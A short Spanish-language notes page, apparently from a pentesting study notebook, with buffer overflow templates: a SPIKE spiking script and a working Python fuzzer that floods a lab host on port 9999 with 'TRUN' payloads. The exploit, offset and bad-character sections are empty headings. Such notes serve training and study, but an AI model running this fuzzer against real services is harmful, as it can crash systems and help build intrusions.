Buffer Overflow
Aquí voy a dejar todas las templates de los scripts que voy a estar utilizando para la explotación del buffer overflow.
Spiking
s_readline();
s_string("STATS ");
s_string_variable("0");Fuzzing
#!/usr/bin/env python3
import socket, time, sys
ip = "192.168.146.137"
port = 9999
timeout = 1
prefix = "TRUN /.:/ "
string = prefix + "A" * 100
while True:
try:
with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
s.settimeout(timeout)
s.connect((ip, port))
s.recv(1024)
print("Fuzzing with {} bytes".format(len(string) - len(prefix)))
s.send(bytes(string, "latin-1"))
s.recv(1024)
except:
print("Fuzzing crashed at {} bytes".format(len(string) - len(prefix)))
sys.exit(0)
string += 100 * "A"
time.sleep(1)Exploit.py
Exploitoffsetexample.py
Badchars
Ejemplo de buenos chars, todo bien

Ejemplo de badchars

Last updated